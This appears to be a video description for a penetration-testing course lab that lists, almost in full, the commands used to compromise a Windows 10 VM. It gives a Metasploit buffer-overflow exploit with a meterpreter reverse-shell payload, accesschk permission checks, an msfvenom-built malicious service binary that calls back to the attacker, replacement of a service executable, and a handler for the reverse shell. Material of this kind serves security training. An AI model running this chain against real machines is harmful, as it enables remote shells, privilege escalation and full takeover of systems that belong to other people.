Windows 10 Hacking - Exploitation and Privilege Escalation

Опубликовано: 10 Май 2026
на канале: Jesse K

8,003

132

This video is a part of my newest Udemy course "Hands-on Penetration Testing Labs 4.0". You can find it at the following URL (coupon applied):

https://www.udemy.com/course/hands-on...

Here's the commands used in the video. If you want the Windows 10 VM, you can download it for free from Microsoft's page at he below URL.

Commands:

msfconsole
use windows/ftp/ftpshell_cli_bof
set LHOST (IP)
set SRVHOST (IP)
set payload windows/meterpreter/reverse_tcp

getuid

getsystem

upload /root/Downloads/AccessChk/accesschk64.exe

accesschk64.exe /accepteula -uwcqv

accesschk64.exe -uwqs Users c:\*.*

accesschk64.exe /accepteula -uwcqv

sc qc SecurityService
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

tasklist /SVC

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=(IP) LPORT=4445 -f exe -o SecurityService.exe

exit
upload SecurityService.exe "C:\Users\DumbUser"
shell

del "C:\Program Files (x86)\PCProtect\SecurityService.exe"

move "C:\Users\DumbUser\SecurityService.exe" "C:\Program Files (x86)\PCProtect\SecurityService.exe"

ren "C:\Program Files (x86)\PCProtect\SecurityService.exe" SecurityServicezzz.exe

move "C:\Users\DumbUser\SecurityService.exe" "C:\Program Files (x86)\PCProtect\SecurityService.exe"

msfconsole
use multi/handler
set LHOST (IP)
set LPORT 4445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

shutdown /r

run post/windows/manage/migrate

cd EaST

URLs:
https://github.com/C0reL0ader/EaST
https://developer.microsoft.com/en-us...